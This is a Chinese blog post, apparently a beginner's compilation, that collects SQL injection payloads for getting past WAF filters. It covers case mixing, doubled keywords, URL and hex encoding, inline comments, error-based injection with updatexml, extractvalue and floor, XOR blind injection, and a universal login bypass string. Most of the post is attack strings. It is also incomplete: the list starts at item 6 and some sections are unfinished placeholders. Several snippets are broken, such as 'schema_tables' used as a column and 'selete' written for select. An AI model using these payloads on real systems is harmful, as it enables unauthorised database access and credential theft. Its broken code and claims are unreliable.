首先,本人是小白,這篇文章也只是總結了一下大佬們的sql注入方法,要是有錯,請各位大佬指出,以便學習。
雖然我是菜雞,但是太過基礎的sql注入問題也就不再重復的解釋了。直接從常用的說起。
實戰中常用的繞過方法:
6)特殊符號
7)HTTP參數控制
8)緩沖區溢出
9)整合繞過
大小寫繞過是最常見的一種sql注入方法,但因為它的常見,它的實用性也就不是那么好,基本上可以大小寫繞過的網站已經不存在。
所以現在大小寫繞過基本上都是配合其他的方法一起使用(就是我們之后要談到的整合繞過)。
例子(所有的例子都是 左邊(會被WAF攔截的) ==> 右邊(可以Bypass的) 不一樣的地方或重點會被加粗哦):
1' union select 1,2,3,group_concat(schema_tables) from information_schema.tables where table_schema=database()# ==>
1' UNioN sEleCt 1,2,3,group_concat(schema_tables) from information_schema.tables where table_schema=database()#
替換關鍵字雖說也不算常用,但是實用性畢竟比大小寫繞過高多了。這里重點介紹一下。
所謂的關鍵字替換是指大小寫無法輕易繞過的正則表達式。如 /expression/i ,但是如果正則表達式只匹配一次並且不會直接阻止你的話,我們就擁有了繞過方法,
即 把過濾掉的關鍵字寫兩遍就可以了(說是寫兩遍,但是應該沒有人真就 select select 吧。).正確寫法: seleselectct . 這樣寫的話,中間加粗的select就會被過濾,從而剩下一個嶄新的select。
例子:
1' union select 1,2,3,group_concat(schema_tables) from information_schema.tables where table_schema=database()# ==>
1' UniounionN SElecselectT 1,2,3,group_concat(schema_tables) from infoorrmation_schema.tables where table_schema=database()#
(注意:如果單詞中間包含 or and 等被過濾的關鍵詞,也要寫兩遍,否則無法注入成功的哦!以上的 information 就是這個道理)
<a>URL編碼
這個還需要介紹嗎?干我們這行的應該或多或少都對URL編碼有一些了解吧(連我這個菜雞都懂得一些)。那么開始咯:
首先是大家都懂的把不同的符號打在網址欄會有不同的編碼。 單引號 = %27 , 空格 = %20 , 左括號 = %28 , 右括號 = %29 。
對於某些網站,他可能會直接過濾掉 %27 來實現單引號的過濾,但是如果它只過濾一遍的話會發生什么呢(當然是注入點了,每次問都覺得自己好傻)。
我們可以二次url編碼繞過。
繼續例子(等等這個例子有問題先不寫):
注:url編碼其實就是ascll碼的十六進制格式再在前面加上%。
<b>十六進制編碼
因為數據庫會自動的把十六進制的編碼轉化為字符串,這也就讓我們擁有了另一個過濾點:
把它正則匹配的編碼轉化為16進制的格式,這樣他就沒有辦法過濾了。而轉化的方法也有很多種,這里列舉兩種(因為是抄的例子,內聯注釋之后就見到了):
id=-15 /*u%6eion*/ /*!se%6cect*/ 1,2,3,4 ....... (單個字符的十六進制編碼) 或者
select(extractvalue(0x3c613e61646d696e3c2f613e,0x2f61)) (字符串的十六進制編碼)
<c>Unicode編碼
這個東西我是真的一點都不了解,也只能嫖別人的博客(沒有自己的見解QAQ)
(pass,等我回去就補上)
首先來看一看常見的注釋符號: /**/ , -- , --a , --+ , // , # , -- - , ;%00
<a>普通注釋
舉例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4 (/**/可以用來當做空格使用)
'union%a0select pass from users#(抄來的我也不知道%a0有什么用)
/**/在構造得查詢語句中插入注釋,規避對空格的依賴或關鍵字識別;# , --+ , ;%00 用於終結語句的查詢
<b>內聯注釋(一個重點?ctf中很難見到)
注意:/*!*/只有在mysql中才可以使用。
舉例:id=-1+/*!UNION*/+/*!SELECT*/+1,2,3
id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
兩個示例中前者使用內聯注釋,后者還用到了普通注釋。使用注釋一個很有用的做法便是對關鍵字的拆分,要做到這一點后面討論的特殊符號也能實現,當然前提是包括/、*在內的這些字符能正常使用。
原因:有些函數或命令因其關鍵字被檢測出來而無法使用,但是在很多情況下可以使用與之等價或類似的代碼替代其使用。
(a)函數名或變量名被過濾
hex(),bin() ==> ascii()
sleep() ==> benchmark()
concat_ws() ==> group_concat()
mid(),substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
例子: substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
上面的例子只是在說,在sql中過濾了的函數中,有時會有函數沒有被過濾且可以代替它們。
當輸出按長度不夠時可以使用 substr(),mid(),right()(oracle中沒有哦),reverse()來實現獲取完整字符串。
(b)符號(這是一個重點!)
有時候 and 和 or 被過濾,我們可以嘗試使用 && 和 || 來代替他們;
而對於 = 被過濾的情況,我們可以使用 > , < (不是顏表情。。是大於,小於號)來代替它,畢竟既不大於又不小於不就是等於嗎?
那過濾 空格 呢?幸好對於這種喪心病狂的過濾我們也有應對方法,即上文中說的 用/**/來代替空格。(當然,前提是/和*沒被過濾)還有別的方法下文會總結.
那么另一個喪心病狂的過濾點就是 ,(逗號) 了。在盲注中逗號基本上是不可缺少的如 ascii(substr(database(),1,1) )=80
用
ascii(substr(database() from 2 for 1)) <==> ascii(substr(database(),2,1))
來代替
關於這個我也就只會這一種方法 (以后再見到時會補上的)。
那么總結一下:
過濾關系:
and,or ==> &&,||
過濾等號:
(1)= ==> < 或者 > 代替用途
(2)like 和 regexp 也可以在不同方面代替。
過濾空格:
(1)編碼方式
_(代表空格) ==> %20 %09 %0a %0b %0c %0d %a0 /**/ /*123*/ (如果一個不行就多試幾個)
(有一說一,之前見到一道題它居然全詞匹配/**/!!所以嘗試/*1354*/這種東西也很重要。真的吐了。)
(2)在某種情況下還可以用()包括字符串。
(3)過濾不嚴格的話可以嘗試雙寫空格
(4)有些情況下可以回車代替
過濾逗號:
union select 1,2,3 ==> union select * from (select 1)a join (select 2)b join (select 3)c
(c)生僻函數
MySQL、PostgreSQL、Oracle它們都有許多自己的函數,基於黑名單的filter要想涵蓋這么多東西從實際上來說不太可能,而且代價太大,看來黑名單技術到一定程度便遇到了限制。
報錯注入就是最常見的一點: updatexml() , extractvalue() , floor()
不詳細說了,直接看大佬的博客吧:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
(1) 對於過濾了 '=' 的sql注入 ,有兩個方法可以繞過,like 和 regexp。 即
id=1'+union+select+1,group_concat(schema_table)+from+information_schema.tables+where+table_schema=database()#
id=1'+union+select+1,group_concat(schema_table)+from+information_schema.tables+where+table_schema+like+database()#
id=1'+union+select+1,group_concat(schema_table)+from+information_schema.tables+where+table_schema+regexp+database()#
三者是相等的。(regexp就是正則表達式的意思o,在某些情況下,可以用 username='\'&password='||password/**/regexp/**/"^a";%00'來繞過,注:/**/是用來代替空格的,;%00是用來閉合單引號的)
(2)對於過濾了 union 和 select 的注入,可以使用異或注入(基於布爾的盲注)來代替。即
username=admin'^(length(database())=3)^' 用sql語句來看就是 where username='admin'^(length(database())=3)^'' (成功閉合)
(3)對於注入來說 ',' 是極其重要的一個字符,如在盲注中 substr() ,mid() , limit 函數非常重要 ,而在逗號過濾的情況下,又該怎么辦呢?
substr(database()from(1)for(1))==substr(database(),1,1)
substr(user() from 1 for 1)
select substr(user()from -1) from yz ;
select ascii(substr(user() from 1 for 1)) < 150;
但是如果for又被過濾了那么。。。。。
還有方法!居然還有方法!
substr(database()from(1)) 如果不加for的話,默認是返回到字符串末尾如:
substr("Mikasa"from(2)) 返回從第二個字符開始的整個字符串。
同時也可以利用替換函數
select left(database(),2)>'tf';
selete * from testtable limit 2,1;
selete * from testtable limit 2 offset 1;
(4)報錯注入: (寫一下基本的payload就好了,過濾問題的話結合上文就好了) (還有一個問題:報錯注入當然是只有在顯示報錯信息時才可以用啊!盲注就不要用了啊,淦!)
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ (updatexml 函數的報錯漏洞)
id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ (extractvalue 函數的報錯漏洞)
id=1"%20union%20Select%201,count(*),concat(0x3a,0x3a,(select%20database()),0x3a,0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+ (floor函數報錯注入)
報錯注入還有很多種哦,十種報錯注入(不想寫了,理解一下孩子)
(5)sql中的萬能密碼 (要求沒有過濾 | 和 ' )
輸入:
username=admin(隨意)
password='||1||'
即可進行登錄
(6)mysql的like語句中有些特殊字符需要轉換后才可以使用
具體情況詳見大佬的博客:https://blog.csdn.net/weixin_33757609/article/details/92386307
參考博客(感謝大佬們):
https://www.cnblogs.com/milantgh/p/4274387.html
https://blog.csdn.net/whatday/article/details/61912578
https://www.cnblogs.com/qingwuyou/p/10687462.html#auto_id_10